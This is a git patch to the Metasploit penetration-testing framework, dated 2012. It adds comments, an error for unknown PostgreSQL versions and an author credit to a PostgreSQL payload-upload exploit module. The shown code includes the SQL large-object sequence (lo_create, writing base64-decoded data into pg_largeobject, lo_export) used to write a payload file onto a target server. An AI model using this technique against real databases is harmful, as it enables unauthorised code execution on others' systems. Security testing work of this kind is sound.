From 1eccb24bf81df4c197c8044e1b855de7696170d6 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 18 Oct 2012 15:55:55 -0500 Subject: [PATCH] Raise if the version isn't what we expect Also adds some clarifying commentation and adds todb to the list of authors since he wrote the original module for windows upon which this one is based. --- lib/msf/core/exploit/postgres.rb | 9 +++++++++ modules/exploits/linux/postgres/postgres_payload.rb | 3 ++- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index 2f4a4a8da5..9bb738da6c 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -332,17 +332,26 @@ module Exploit::Remote::Postgres ver = postgres_fingerprint case ver[:auth] when /PostgreSQL 8\./ + # 8.x inserts the largeobject into the table when you do the + # lo_create, so we with a value. queries = [ "select lo_create(#{oid})", "update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}", "select lo_export(#{oid}, '#{remote_fname}')" ] when /PostgreSQL 9\./ + # 9.x does *not* insert the largeobject into the table when you do + # the lo_create, so we must insert it ourselves. queries = [ "select lo_create(#{oid})", "insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')", "select lo_export(#{oid}, '#{remote_fname}')" ] + else + # Since the technique required for uploading seems to change + # between versions, complain that we don't know how to do it for + # an unknown version. + raise RuntimeError.new("Unknown Postgres version, don't know how to upload files") end queries.each do |q| diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 00478cb894..af92ec5612 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -38,7 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'midnitesnake', # this Metasploit module - 'egypt' # .so technique + 'egypt', # on-the-fly compiled .so technique + 'todb' # original windows module this is based on ], 'License' => MSF_LICENSE, 'Version' => '$Revision$',